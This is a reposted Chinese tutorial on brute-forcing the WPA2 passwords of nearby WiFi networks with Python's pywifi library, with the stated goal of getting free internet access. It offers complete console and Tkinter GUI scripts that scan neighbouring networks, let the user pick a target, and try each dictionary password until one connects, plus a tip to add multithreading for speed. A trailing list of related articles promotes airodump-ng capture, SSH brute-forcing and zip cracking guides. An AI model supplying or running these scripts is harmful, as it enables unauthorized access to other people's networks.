教你用 Python 暴力破解附近區域網 WiFi 密碼

2021-12-28 Linux就該這麼學

原文連結:http://adkx.net/980bb

文章轉載:Python編程學習圈


前言
本文將記錄學習下如何通過 Python 腳本實現 WIFI 密碼的暴力破解,從而實現免費蹭網。無圖形界面WIFI爆破
import pywififrom pywifi import constimport timeimport datetime

# 測試連接,返回連結結果def wifiConnect(pwd): # 抓取網卡接口 wifi = pywifi.PyWiFi() # 獲取第一個無線網卡 ifaces = wifi.interfaces()[0] # 斷開所有連接 ifaces.disconnect() time.sleep(1) wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: # 創建WiFi連接文件 profile = pywifi.Profile() # 要連接WiFi的名稱 profile.ssid = "Tr0e" # 網卡的開放狀態 profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法為wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元 profile.cipher = const.CIPHER_TYPE_CCMP # 調用密碼 profile.key = pwd # 刪除所有連接過的wifi文件 ifaces.remove_all_network_profiles() # 設定新的連接文件 tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) # wifi連接時間 time.sleep(2) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi連接")

# 讀取密碼本def readPassword(): success = False print("****************** WIFI破解 ******************") # 密碼本路徑 path = "pwd.txt" # 打開文件 file = open(path, "r") start = datetime.datetime.now() while True: try: pwd = file.readline() # 去除密碼的末尾換行符 pwd = pwd.strip('\n') bool = wifiConnect(pwd) if bool: print("[*] 密碼已破解:", pwd) print("[*] WiFi已自動連接!!!") success = True break else: # 跳出當前循環,進行下一次循環 print("正在破解 SSID 為 %s 的 WIFI密碼,當前校驗的密碼為:%s"%("Tr0e",pwd)) except: continue end = datetime.datetime.now() if(success): print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start)) else: print("[*] 很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典後重新嘗試!") exit(0)

if __name__=="__main__":    readPassword()

代碼運行效果:
腳本優化以上腳本需內嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進行改造優化:
import pywifiimport timefrom pywifi import const

# WiFi掃描模塊def wifi_scan(): # 初始化wifi wifi = pywifi.PyWiFi() # 使用第一個無線網卡 interface = wifi.interfaces()[0] # 開始掃描 interface.scan() for i in range(4): time.sleep(1) print('\r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')') print('\r掃描完成!\n' + '-' * 38) print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名')) # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象 bss = interface.scan_results() # 存放wifi名的集合 wifi_name_set = set() for w in bss: # 解決亂碼問題 wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) wifi_name_set.add(wifi_name_and_signal) # 存入列表並按信號排序 wifi_name_list = list(wifi_name_set) wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) num = 0 # 格式化輸出 while num < len(wifi_name_list): print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) num += 1 print('-' * 38) # 返回wifi列表 return wifi_name_list

# WIFI破解模塊def wifi_password_crack(wifi_name): # 字典路徑 wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼佔據1行)的路徑:") with open(wifi_dic_path, 'r') as f: # 遍歷密碼 for pwd in f: # 去除密碼的末尾換行符 pwd = pwd.strip('\n') # 創建wifi對象 wifi = pywifi.PyWiFi() # 創建網卡對象,為第一個wifi網卡 interface = wifi.interfaces()[0] # 斷開所有wifi連接 interface.disconnect() # 等待其斷開 while interface.status() == 4: # 當其處於連接狀態時,利用循環等待其斷開 pass # 創建連接文件(對象) profile = pywifi.Profile() # wifi名稱 profile.ssid = wifi_name # 需要認證 profile.auth = const.AUTH_ALG_OPEN # wifi默認加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP # wifi密碼 profile.key = pwd # 刪除所有wifi連接文件 interface.remove_all_network_profiles() # 設置新的wifi連接文件 tmp_profile = interface.add_network_profile(profile) # 開始嘗試連接 interface.connect(tmp_profile) start_time = time.time() while time.time() - start_time < 1.5: # 接口狀態為4代表連接成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢) if interface.status() == 4: print(f'\r連接成功!密碼為:{pwd}') exit(0) else: print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')
# 主函數def main(): # 退出標緻 exit_flag = 0 # 目標編號 target_num = -1 while not exit_flag: try: print('WiFi萬能鑰匙'.center(35, '-')) # 調用掃描模塊,返回一個排序後的wifi列表 wifi_list = wifi_scan() # 讓用戶選擇要破解的wifi編號,並對用戶輸入的編號進行判斷和異常處理 choose_exit_flag = 0 while not choose_exit_flag: try: target_num = int(input('請選擇你要嘗試破解的wifi:')) # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入 if target_num in range(len(wifi_list)): # 二次確認 while not choose_exit_flag: try: choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)')) # 對用戶輸入進行小寫處理,並判斷 if choose.lower() == 'y': choose_exit_flag = 1 elif choose.lower() == 'n': break # 處理用戶其它字母輸入 else: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 處理用戶非字母輸入 except ValueError: print('只能輸入 Y/N 哦o(* ̄︶ ̄*)o') # 退出破解 if choose_exit_flag == 1: break else: print('請重新輸入哦(*^▽^*)') except ValueError: print('只能輸入數字哦o(* ̄︶ ̄*)o') # 密碼破解,傳入用戶選擇的wifi名稱 wifi_password_crack(wifi_list[target_num][1]) print('-' * 38) exit_flag = 1 except Exception as e: print(e) raise e

if __name__ == '__main__':    main()

腳本運行效果如下:
上述代碼實現了依據信號強度枚舉當前附近的所有 WIFI 名稱,並且可供用戶自主選擇需要暴力破解的 WIFI,同時還可靈活指定暴力破解的字典,相對而言體驗感提升了不少。進一步也可以將上述腳本打包生成 exe 文件,雙擊運行效果如下:圖形化界面下面基於 Python 的 GUI 圖形界面開發庫 Tkinter 優化上述腳本,實現友好的可視化 WIFI 暴力破解界面工具。簡單版UI
from tkinter import *from pywifi import constimport pywifiimport time

# 主要步驟:# 1、獲取第一個無線網卡# 2、斷開所有的wifi# 3、讀取密碼本# 4、設置睡眠時間def wificonnect(str, wifiname): # 窗口無線對象 wifi = pywifi.PyWiFi() # 抓取第一個無線網卡 ifaces = wifi.interfaces()[0] # 斷開所有的wifi ifaces.disconnect() time.sleep(1) if ifaces.status() == const.IFACE_DISCONNECTED: # 創建wifi連接文件 profile = pywifi.Profile() profile.ssid = wifiname # wifi的加密算法 profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi的密碼 profile.key = str # 網卡的開發 profile.auth = const.AUTH_ALG_OPEN # 加密單元,這裡需要寫點加密單元否則無法連接 profile.cipher = const.CIPHER_TYPE_CCMP # 刪除所有的wifi文件 ifaces.remove_all_network_profiles() # 設置新的連接文件 tep_profile = ifaces.add_network_profile(profile) # 連接 ifaces.connect(tep_profile) time.sleep(3) if ifaces.status() == const.IFACE_CONNECTED: return True else: return False

def readPwd(): # 獲取wiif名稱 wifiname = entry.get().strip() path = r'./pwd.txt' file = open(path, 'r') while True: try: # 讀取 mystr = file.readline().strip() # 測試連接 bool = wificonnect(mystr, wifiname) if bool: text.insert(END, '密碼正確' + mystr) text.see(END) text.update() file.close() break else: text.insert(END, '密碼錯誤' + mystr) text.see(END) text.update() except: continue

# 創建窗口root = Tk()root.title('wifi破解')root.geometry('500x400')# 標籤label = Label(root, text='輸入要破解的WIFI名稱:')# 定位label.grid()# 輸入控制項entry = Entry(root, font=('微軟雅黑', 14))entry.grid(row=0, column=1)# 列表控制項text = Listbox(root, font=('微軟雅黑', 14), width=40, height=10)text.grid(row=1, columnspan=2)# 按鈕button = Button(root, text='開始破解', width=20, height=2, command=readPwd)button.grid(row=2, columnspan=2)# 顯示窗口root.mainloop()

腳本運行效果:
UI升級版
以上圖形界面未允許選擇密碼字典,下面進行優化升級:
from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog  # 在Gui中打開文件瀏覽import tkinter.messagebox  # 打開tkiner的消息提醒框

class MY_GUI():def __init__(self, init_window_name):self.init_window_name = init_window_name# 密碼文件路徑self.get_value = StringVar() # 設置可變內容# 獲取破解wifi帳號self.get_wifi_value = StringVar()# 獲取wifi密碼self.get_wifimm_value = StringVar()# 抓取網卡接口self.wifi = pywifi.PyWiFi()# 抓取第一個無線網卡self.iface = self.wifi.interfaces()[0]# 測試連結斷開所有連結self.iface.disconnect() time.sleep(1) # 休眠1秒# 測試網卡是否屬於斷開狀態 assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):# 自動會調用的函數,返回自身的網卡return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# 設置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200') labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下對象都是對於labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0)self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)self.wifi_text = Label(labelframe, text="WiFi帳號:").grid(column=0, row=2)self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)# 定義樹形結構與滾動條self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的標題self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4, column=0, sticky=NSEW)self.wifi_tree.bind("<Double-1>", self.onDBClick)self.vbar.grid(row=4, column=1, sticky=NS)
# 搜索wifidef scans_wifi_list(self): # 掃描周圍wifi列表# 開始掃描 print("^_^ 開始掃描附近wifi...")self.iface.scan() time.sleep(15)# 在若干秒後獲取掃描結果 scanres = self.iface.scan_results()# 統計附近被發現的熱點數量 nums = len(scanres) print("數量: %s" % (nums))# 實際數據self.show_scans_wifi_list(scanres)return scanres
# 顯示wifi列表def show_scans_wifi_list(self, scans_res):for index, wifi_info in enumerate(scans_res):self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
# 添加密碼文件目錄def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)
# Treeview綁定事件def onDBClick(self, event):self.sels = event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
# 讀取密碼字典,進行匹配def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getFilePath, "r", errors="ignore")while True:try:self.pwdStr = pwdfilehander.readline()if not self.pwdStr:breakself.bool1 = self.connect(self.pwdStr, self.get_wifissid)if self.bool1:self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功!!!') print(self.res)breakelse:self.res = "[*] 密碼錯誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr) print(self.res) time.sleep(3)except: continue
# 對wifi和密碼進行匹配def connect(self, pwd_Str, wifi_ssid):# 創建wifi連結文件self.profile = pywifi.Profile()self.profile.ssid = wifi_ssid # wifi名稱self.profile.auth = const.AUTH_ALG_OPEN # 網卡的開放self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密單元self.profile.key = pwd_Str # 密碼self.iface.remove_all_network_profiles() # 刪除所有的wifi文件self.tmp_profile = self.iface.add_network_profile(self.profile) # 設定新的連結文件self.iface.connect(self.tmp_profile) # 連結 time.sleep(5)if self.iface.status() == const.IFACE_CONNECTED: # 判斷是否連接上 isOK = Trueelse: isOK = Falseself.iface.disconnect() # 斷開 time.sleep(1)# 檢查斷開狀態 assert self.iface.status() in \ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK

def gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() init_window.mainloop()

if __name__ == "__main__":    gui_start()

腳本運行效果如下:

以上基於 Python 的 GUI 圖形界面開發庫 Tkinter,實際上 Python 的 GUI 編程可以藉助 PyQt5 來自動生成 UI 代碼。
總結本文學習了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎使用。所演示的代碼的不足在於均沒有使用多線程進行 WIFI 連接測試,實際上因為 WIFI 連接測試需要一定的耗時(3-5秒),故使用多線程將能減少暴力破解過程的等待時間。

官方站點:www.linuxprobe.com

Linux命令大全:www.linuxcool.com

劉遄老師QQ:5604922

Linux技術交流群:193666693

(新群,火熱加群中……)

想要學習Linux系統的讀者可以點擊"閱讀原文"按鈕來了解書籍《Linux就該這麼學》,同時也非常適合專業的運維人員閱讀,成為輔助您工作的高價值工具書!

相關焦點

  • 教你暴力破解WIFI密碼!
    >期準備VMware Workstation虛擬機在虛擬機安裝好kail linunx系統無線網卡(晶片為3070或者1887L都支持Linux)一.打開終端,用airmon-ng的MAC地址,PWR為信號強弱程度,數值越小信號越強;#DATA為數據量,越大使用的人就越多,CH為信道頻率(頻道),ESSID為wifi的名稱,中文可能會有亂碼七,接著輸入airodump-ng --bssid BSSID -c 信道頻率 -w 抓包存儲的路徑 wlan0mon如:airodump-ng --bssid BC:5F:6F:3D:
  • 破解隔壁老王WiFi密碼,太刺激了!
    這兩天,又看到了一個比較好玩的 Python 練手小項目:區域網WIFI 密碼暴力破解。前言本文將記錄學習下如何通過 Python 腳本實現 WIFI 密碼的暴力破解,從而實現免費蹭網。except:            continue    end = datetime.datetime.now()    if(success):        print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start))    else:        print("[*] 很遺憾未能幫你破解出當前指定
  • 忘記WIFI密碼怎麼辦?兩招教你快速查看密碼
    今天給大家帶來推送文章《忘記wifi密碼怎怎麼辦?兩招教你快速查看密碼》。閱讀本文預計耗時3分鐘,關閉文章只需1秒在日常生活中,只要我們第一次輸入密碼連接wifi,那麼過後打開無線區域網之後即可自動連接wifi。
  • 手把手教你用Python進行SSH暴力破解
    「pythonpdf「,立刻領取100本全品類Python電子書暴力破解屬於密碼破解的一種,也是最常見的破解方法之一,通過不斷的嘗試來達到破解的目的,所以暴力破解的本質就是一種枚舉。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和伺服器模式。Paramiko 庫在Python自動化運維領域很受推崇。然後我們還可以看到這個模塊實際上就是利用 Paramiko  建立了 ssh 的客戶端連接,批量導入文件,採用多線程的方式來進行暴力破解,思路很清晰。
  • 我破解了鄰居家的wifi密碼:只需要一臺筆記本電腦
    今天閒著無聊做了一個小程序,現在就給大家分享一下製作過程,該程序可以使用你預先設置好的密碼字典去破解wifi密碼,實現方法很簡單,就是用窮舉法去嘗試字典裡面的每一個密碼,直至找到正確密碼為止。那麼這個過程如何用程序來實現呢?別急,傑瑞現在來教你實現!
  • 手機破解wifi密碼(10分鐘教不會,跟你姓)
    步驟如下,1,下載wifi萬能鑰匙安裝,http://www.77169.com/Soft/HTML/44259.html2,下載wifi密碼查看器安裝http://www.77169.com/Soft/HTML/44260.html wifi萬能鑰匙,跟md5破解網站原理類似,只要有人分享就會自動記錄帳號密碼,別人連接的時候在資料庫查詢一下是否有密碼
  • 如何破解不是免費連接的WiFi密碼?
    為了得到這些wifi密碼,除了向主人詢問之外,那就是破解了。那麼,如何破解這種不是免費連接的WiFi密碼呢?先來說個最簡單的方式——使用wifi萬能鑰匙Wifi萬能鑰匙,大家都不會陌生,一個可以輕鬆「破解」WiFi密碼的手機APP。
  • 學知識:破解wifi無線網絡密碼
    破解wifi無線網絡密碼之前,我們需要先使用一些軟體如上圖的這個wirelessmon進行掃描,掃描看看周圍存在哪些無線網絡信號以及其類型
  • 用顯卡算密碼:有意思的「暴力」密碼破解工具
    用顯卡算密碼:有意思的「暴力」密碼破解工具,確實是個挺搞笑的黑客工具    ElcomSoft Distributed Password Recovery 俄羅斯著名的ElcomSoft出品的密碼破解工具,這家公司是專業開發密碼恢復工具的,ElcomSoft Distributed Password
  • WiFi密碼破解!top10變態教學
    據網上一份數據統計結果,得出了大家最喜歡使用的WiFi密碼前10名。這份數據積累了9萬餘條WiFi密碼數據。
  • Wifi密碼查看原來這麼簡單?
    WIFI萬能鑰匙不用我多說了,就是一個偷你家WIFI密碼的小偷,順帶著把你家密碼分享給了全世界。當然,也就是因為有了「偷」這個操作你才能用萬能鑰匙成功連接其他WIFI,即便你不知道密碼。如果已連上了WIFI,可能會忘了這個WiFi密碼。但這時我們又想用其他設備連上這個WiFi,就需要查看目前連接wifi的密碼了。今天給大家帶來的是查看WIFI密碼的方法,當然前提還是你已經成功連接上了WIFI。注意是查看密碼,而不是破解。。
  • WiFi萬能鑰匙破解密碼,多少密碼,洩於無知
    家用路由器是最常接觸的小型區域網,我們連上WiFi不僅僅是實現了免費高速上網,而且可以方便地在這個區域網中實現資源共享,如印表機共享,數據資料共享,還有今年由於疫情從而最火的投屏,都是基於這個小型的區域網實現的,這是基於網絡的軟硬體共享。
  • 最詳細Python批量字典暴力破解zip密碼
    工具破解前兩天在網上下來了一波項目案例,結果全是加密的壓縮包,於是去網上找了一個壓縮包破解的工具很多人學習python
  • 技巧:iPhone手機如何破解WiFi密碼於及查看密碼?
    -起碼能用得起萬能鑰匙--起碼能查看WiFi密碼--起碼能連接別人的WiFi能共享熱點-告訴你們其實蘋果能做得到要安裝工具1.wifi萬能鑰匙(破解WIFI密碼)2.Flex2(破解WiFi鑰匙激活碼)3.MyWi(WiFi轉會分享熱點)
  • WiFi密碼破解方法
    怎麼破解WiFi密碼呢?涉及破解WiFi密碼的技術方法比較多,以下小編就為大家提供三類實現破解WiFi密碼的方法,希望對幫助大家。方法一:傻瓜式破解WiFi密碼法我們可以藉助「WiFi萬能鑰匙」等軟體來實現破解周圍公共WiFi密碼的目地,此方法重要是利用Wifi特徵匹配來查看已共享的WiFi信息實現破解目地。
  • Linux居然可以這樣破解WiFi密碼,竟然是?
    當你抱著你的Mac、Iphone、Ipad準備打開王者榮耀,大喊一聲「是時候展現真的技術了!」,結果你卻發現這TMD沒有網!!!啊啊啊啊啊,什麼!你說這個世界如果沒有了網絡,你都找不到活著的意義?no no no,望著周圍的一個個加密的wifi。
  • 揭示wifi萬能鑰匙破解wifi密碼的全過程
    每天5分鐘,給你精彩,讓你足不出戶,了解天下奇聞。本期精彩看點:wifi萬能鑰匙為什麼會知道你的無線密碼?!WiFi萬能鑰匙的基礎功能並不是採用大家所想的「密碼庫窮舉(逐個嘗試)暴力破解」的方式獲得正確密碼,而是通過用戶上傳分享的熱點(主動或「被動」)到後臺伺服器的方式收集、積累數據。
  • WiFi破解方法總結
    一、使用wifi軟體目前網上有很多WiFi共享軟體,特別是手機端比較流行,比如某鑰匙,他們的破解辦法就是偷偷地把用戶wifi密碼上傳到伺服器共享,雖然比較缺德,但確實方便了大眾。利用這個辦法,我們用手機下載某鑰匙,然後通過軟體連接上wifi。這樣密碼就會保存在手機裡,然後我們在下載一個wifi密碼查看器.apk這樣就可以獲取到wifi密碼,前提是手機需要root。
  • 家中WiFi密碼忘了怎麼辦?打開微信這個功能,直接顯示帳號、密碼
    在使用wifi時,大家就容易遇到一個問題,那就是被人「蹭網」,而這也會導致自己使用的wifi網速時快時慢,體驗感十分的糟搞。因此,很多人在設置家中wifi密碼時,就喜歡將密碼設置得非常繁瑣,這樣一來,即使別人使用各種WiFi鑰匙也無法破解繁瑣的wifi密碼,但是也有一些人,在設置了繁瑣的wifi後,時間一長自己也慢慢忘記了,當更換了新手機、新電腦或家中來客人時,往往因為記不起密碼只能通過重啟路由器,來修改密碼。那麼該如何重啟路由器,設置新密碼呢?
  • 今天破解了壓縮文件的密碼:使用python輕鬆編寫破解程序
    獲取ZIP文件解壓密碼今天傑瑞又閒著無事可幹,索性去做了一個非常簡單且實用的一個python小程序,這個程序破解獲得zip加密文件的密碼。獲取zip文件解壓密碼的思路是使用窮舉法去「試」出真實密碼。傑瑞今天就教大家如何使用python去破解得到zip文件的解壓密碼,僅需要不到20行代碼即可完成全部功能。實現步驟首先我們需要python裡面的一個庫——zipfile,這個庫專門用來操作zip文件的,這個庫一般是python自帶的不需要安裝。